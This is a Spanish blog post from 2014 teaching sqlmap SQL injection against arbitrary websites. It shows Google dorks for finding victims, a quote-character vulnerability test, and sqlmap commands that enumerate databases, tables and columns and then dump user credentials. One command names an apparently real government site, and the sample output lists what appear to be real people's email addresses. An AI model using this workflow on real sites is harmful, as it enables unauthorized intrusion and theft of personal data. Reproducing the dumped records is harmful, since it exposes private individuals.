domingo, 29 de junio de 2014

SQLMAP





¿Que és sqlmap?


Sqlmap es una herramienta desarrollada en Python para realizar inyección de código sql automáticamente. Su objetivo es detectar y aprovechar las vulnerabilidades de inyección SQL en aplicaciones web. Una vez que se detecta una o más inyecciones SQL en el host de destino, el usuario puede elegir entre una variedad de opciones entre ellas, enumerar los usuarios, los hashes de contraseñas, los privilegios, las bases de datos , O todo el volcado de tablas / columnas específicas del DBMS , ejecutar su propio SQL SELECT, leer archivos específicos en el sistema de archivos y mucho más.
Su web: http://sqlmap.org/
Descarga : https://github.com/sqlmapproject/sqlmap/tarball/master
Yo voy a usarlo en BackTrack 5 r3, si tiene Windows tendrán que instalar Python ya que esta codeado en ese lenguaje.
http://www.python.org/getit/

Comandos básicos

-u url donde vamos a realizar la inyección,por ejemplo:"www.sitio.com/index.php?id=2"
-p Parámetro de la url que inyectaremos.
--dbs Muestra todas las base de datos de la web
-D Selecciona el nombre de la base de datos a la que harás la consulta
--tables Muestra las tablas de la base de datos seleccionada
-T Conexión a una tabla especifica
--columns Muestra las columnas de la tabla que seleccionamos
--dump Hace un volcado de datos de ficheros .csv de la tabla seleccionada, mostrara toda la informacon de las tablas
--dbms Con este parámetro podemos seleccionar el motor de base de datos que usa para hacer las pruebas de errores ejemplo:  SQL, MySQL, ORACLE,etc.
Ya que sabemos los comando basicos vamos a la practica.

Empecemos

1. Bien, una vez estemos en nuestro BackTrack 5 r33 abrimos nuestra terminal.
En la terminale escribimos esto:

Citar
cd /pentest/database/sqlmap/

2. Después debemos buscar un objetivo al cual queremos "hackear".
Podemos utilizar una dork como está:

Citar
allinurl: /news.php?id=
allinurl: /article.php?id=
allinurl: /noticia.php?id=

3. Una vez que tengamos nuestro objetivo comprobamos si hay algún fallo, lo comprobamos con una comilla al final: '

Ejemplo:

Citar
http://www.sitioweb.com/news.php?id=543'

Sí sale un error es que hay un fallo de seguridad y significa que si o si podremos hacer una inyección sql.

4. Ahora en nuestra terminal escribimos:

Citar
./sqlmap.py -u http://www.sitio-web.com/news.php?id=543 --dbs

Y empezará a analizar...

5. Saldrán varias bases de datos ejemplo:

Citar
available databases [2]:
  • information_schema
  • connectdb
Entonces elijemos la que creamos conveniente en esté caso: connectdb.

Una vez que hayamos elegido la db escribimos esto en nuestra terminal:

Citar
./sqlmap.py -u http://www.sitio-web.com/news.php?id=543 -D aquívaladb --tables

Y empezará a escanear las tablas...

6. Entonces cuando las haya escaneado saldrá algo así:

Citar
Database: connectdb
[20 tables]
+-------------------+
| connect_cargos      |
| connect_ciudades    |
| connect_contacto    |
| connect_contenido   |
| connect_contratista |
| connect_documentos  |
| connect_ds          |
| connect_empleo      |
| connect_enlaces     |
| connect_errores     |
| connect_estados     |
| connect_extras      |
| connect_log         |
| connect_media       |
| connect_rextras     |
| connect_rsecciones  |
| connect_rtagcloud   |
| connect_secciones   |
| connect_tagcloud    |
| connect_usuarios    |
+-------------------+

7. Bien, ahora lo que haremos será escanear las columnas de la tabla usuarios ya que es la que nos interesa, para eso ponemos lo siguiente en nuestro terminal:

Citar
./sqlmap.py -u http://www.sitio-web.com/news.php?id=543 -D aquívaladb -T aquívalatabladeusuarios --columns

Y empezará a analizar...

8. Bien, una vez lo analize nos saldrá algo parecido a esto:

Citar
Database: connectdb
Table: connect_usuarios
[9 columns]
+-----------------------+-----------------+
| Column                | Type            |
+-----------------------+-----------------+
| apellido_usuarios     | varchar(45)     |
| clave_usuarios        | varchar(40)     |
| email_usuarios        | varchar(255)    |
| id_usuarios           | int(2) unsigned |
| institucion_usuarios  | varchar(45)     |
| nombre_usuarios       | varchar(45)     |
| permisos_usuarios     | tinyint(4)      |
| telf_usuarios         | int(11)         |
| ultimoacceso_usuarios | datetime        |
+-----------------------+-----------------+

Bien, ahora si queremos todo el contenido de está columna lo que haremos será poner esto en la terminal:

Citar
./sqlmap.py -u http://www.sitio-web.com/news.php?id=543 -D aquívaladb -T aquívalatabladeusuarios --dump

Pero, en esté caso solo necesitamos saber la tabla de clave_usuarios, email_usuarios, id_usuarios y nombre_usuarios.

Por lo tanto ponemos en la terminal:

Citar
./sqlmap.py -u http://www.fonep.gob.ve/noticias.php?id=195 -D aquivaladb -T aquívalatabladeusuarios -C "clave_usuarios,email_usuarios,id_usuarios,nombre_usuarios" --dump

9. Bien, después de eso ya habremos obtenido los datos específicos de cada usuario.

Y por lo tanto saldrá algo así:

Citar
Database: connectdb
Table: connect_usuarios
[3 entries]
+-------------------+----------------------------+-----------------+---------------+
| clave_usuarios | email_usuarios             | id_usuarios |                  nombre_usuarios |
+-------------------+----------------------------+-----------------+---------------+
| Olivo             | ernesto.olivo@ingenian.net |     1  |                           | ernesto       |
| Gimenez           | lugimenez@cantv.net        |   4 |                            | lugimenez    |
| Gonzalez Aviles   | serser2020@gmail.com      | 11 |                                | gonzal    |
+-------------------+----------------------------+-----------------+---------------+

Bien, eso es todo, espero que les haya gustado...
Sí no lo han entendido les dejo un videotutorial que encontre en google para la ocasion, ya que yo ahora mismo no tengo tiempo para hacer ningún video tutorial..